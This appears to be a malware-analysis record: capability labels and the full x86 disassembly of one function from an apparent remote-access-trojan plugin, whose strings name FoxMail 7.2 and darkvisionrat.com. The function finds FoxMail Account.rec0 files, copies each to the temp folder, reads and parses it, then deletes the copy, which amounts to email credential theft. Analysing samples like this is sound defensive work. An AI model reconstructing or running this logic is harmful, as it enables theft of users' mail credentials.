Function at 0x1000d9f0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x100bf358]
xor eax, ebp
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0xf4240
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000de5e
push str._r_n
push 0x7fff
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
push edx
call fcn.1009626a
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
push str.Plugin_for_FoxMail_7.2__Please_email__contact_darkvisionrat.com__if_recovery_breaks__r_n
push 0x7fff
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
push edx
call fcn.1009626a
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
push str._r_n_r_n
push 0x7fff
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
push edx
call fcn.1009626a
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
call fcn.1000d990
mov dword [ebp - 0xc], eax
push 3
push 0x100a998c
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x1000de28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call fcn.1000d8e0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1000de26
mov dword [ebp - 0x18], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000de1c
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x1000de12
mov ecx, dword [ebp - 0x14]
push ecx
push str._s_storage
push 0x7fff
mov edx, dword [ebp - 0x1c]
push edx
call fcn.1009626a
add esp, 0x10
mov dword [ebp - 0x20], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1000de08
mov eax, dword [ebp - 0x1c]
push eax
push str._s.
push 0x7fff
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.1009626a
add esp, 0x10
mov dword [ebp - 0x24], 0xffffffff
lea edx, [ebp - 0x278]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x1000ddfe
mov ecx, dword [ebp - 0x278]
and ecx, 0x10
je 0x1000dddb
push 0x100a99bc
lea edx, [ebp - 0x24c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1000dbc2
push 0x100a99c0
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1000dbc7
jmp 0x1000dddb
lea ecx, [ebp - 0x24c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
push str._s_sAccountsAccount.rec0
push 0x7fff
mov eax, dword [ebp - 0x18]
push eax
call fcn.1009626a
add esp, 0x14
mov dword [ebp - 0x27c], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
je 0x1000dddb
mov ecx, dword [ebp - 0x27c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1000ddce
mov dword [ebp - 0x280], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0
je 0x1000ddce
mov edx, dword [0x100c0760]
add edx, 0x40d8
push edx
mov eax, dword [ebp - 0x27c]
push eax
push 0x100a9a00
push 0x7fff
mov ecx, dword [ebp - 0x280]
push ecx
call fcn.1009626a
add esp, 0x14
push 0
mov edx, dword [ebp - 0x280]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x1000ddc1
mov dword [ebp - 0x284], 0xffffffff
push 0
push 0
push 3
push 0
push 0
push closesocket
mov ecx, dword [ebp - 0x280]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0xffffffff
je 0x1000ddb4
push 0
mov edx, dword [ebp - 0x284]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0xffffffff
je 0x1000dd9e
cmp dword [ebp - 0x288], 0x64
jbe 0x1000dd9e
mov eax, dword [ebp - 0x288]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0
je 0x1000dd9e
push 0
lea ecx, [ebp - 0x290]
push ecx
mov edx, dword [ebp - 0x288]
push edx
mov eax, dword [ebp - 0x28c]
push eax
mov ecx, dword [ebp - 0x284]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000dd91
mov edx, dword [ebp - 0x290]
cmp edx, dword [ebp - 0x288]
jne 0x1000dd91
mov eax, dword [ebp - 0x284]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x284], 0xffffffff
mov ecx, dword [ebp - 0x288]
push ecx
mov edx, dword [ebp - 0x28c]
push edx
push 0x7a120
mov eax, dword [ebp - 4]
push eax
call fcn.1000de70
add esp, 0x10
mov ecx, dword [ebp - 0x28c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x284], 0xffffffff
je 0x1000ddb4
mov edx, dword [ebp - 0x284]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x280]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x27c]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x278]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000db87
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1000de4a
push str.Current_version_supports_FoxMail_7.2_which_was_not_found._r_n_r_n
push 0x186a0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
lea eax, [edx + ecx*2]
push eax
call fcn.1009626a
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [ebp - 4]
jmp 0x1000de60
xor eax, eax
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.1009625b
mov esp, ebp
pop ebp
ret